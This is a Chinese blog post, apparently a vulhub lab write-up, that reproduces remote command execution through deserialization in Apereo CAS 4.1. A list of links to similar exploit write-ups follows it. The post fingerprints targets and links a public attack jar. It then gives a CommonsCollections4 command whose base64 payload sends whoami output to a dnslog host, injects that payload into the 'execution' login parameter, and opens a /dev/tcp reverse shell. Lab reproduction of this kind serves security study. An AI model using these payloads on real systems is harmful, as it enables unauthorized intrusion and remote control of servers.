楼主困了，这里就直接写上楼主自己的一些操作
详细过程可以看Apereo CAS 4.1 反序列化命令执行漏洞复现

特征：

1、网站根目录下有cas目录
2、如图所示，有apereo CAS图标

3、如图所示，有execution传参

一、先跑下目录

二、生成payload

http://www.jackson-t.ca/runtime-exec-payloads.html

工具链接：https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar

三、dnslog回显

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,Y3VybCBgd2hvYW1pYC45dzJ3Z2YuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}"
标记部分就是生成的payload

然后我们登录CAS并抓包，将Body中的execution值替换成上面生成的Payload发送：

成功回显

五、反弹shell

和第四步一样的

把这个拿去编码后，替换，发包
bash -i >& /dev/tcp/192.168.100.34/2233 0>&1

成功反弹

【vulhub】Apereo CAS 4.1 反序列化命令执行漏洞复现相关推荐

03 - vulhub - Apereo CAS 4.1 反序列化命令执行漏洞
文章目录漏洞名称:Apereo CAS 4.1 反序列化命令执行漏洞影响版本漏洞原理漏洞复现环境准备漏洞检测漏洞利用验证漏洞利用是否成功修复建议漏洞名称:Apereo CAS 4. ...
Apereo CAS 4.1 反序列化命令执行漏洞复现
文章目录 1. 前言 2. 利用参考 1. 前言 Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统.其4.1.7版本之前存在一处默认密钥的问题,利用这个默认 ...
【Vulhub】Apache Log4j Server 反序列化命令执行漏洞复现(CVE-2017-5645)
脚本小子上线啦,开始复现以前出现实战环境的漏洞了,我会记录一些复现的漏洞(不会是全部),今天这个漏洞的原理我也不太会就知道是个Java反序列化的洞,只负责复现(脚本小子~). 漏洞介绍&环境搭 ...
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现漏洞环境搭建漏洞复现反弹shell 题外话1 题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生 ...
Weblogic WLS Core Components 反序列化命令执行漏洞复现（CVE-2018-2628）
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未 ...
wpf window 不执行show 就不能load执行_Numpy反序列化命令执行漏洞分析(CVE-2019-6446)附0day...
1.介绍 NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算.NumPy 提供大量的函数和操作,能够帮助程序员便利进行数值计算.在 NumPy 1.16.0 版本之前存在反序列 ...
FastJson1.2.24反序列化导致任意命令执行漏洞复现（CVE-2017-18349）
#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...
python pickle反序列化漏洞_Numpy反序列化命令执行漏洞分析(CVE-2019-6446) –vr_system...
1. 介绍 NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算.NumPy提供大量的函数和操作,能够帮助程序员便利进行数值计算.在NumPy 1.16.0版本之前存在反序列化 ...
CNVD-2022-03672/CNVD-2022-10270：向日葵简约版/向日葵个人版for Windows命令执行漏洞复现及修复建议
CNVD-2022-03672/CNVD-2022-10270:向日葵简约版/向日葵个人版for Windows命令执行漏洞复现及修复建议本文仅为验证漏洞,在本地环境测试验证,无其它目的漏洞编号: ...

【vulhub】Apereo CAS 4.1 反序列化命令执行漏洞复现

特征：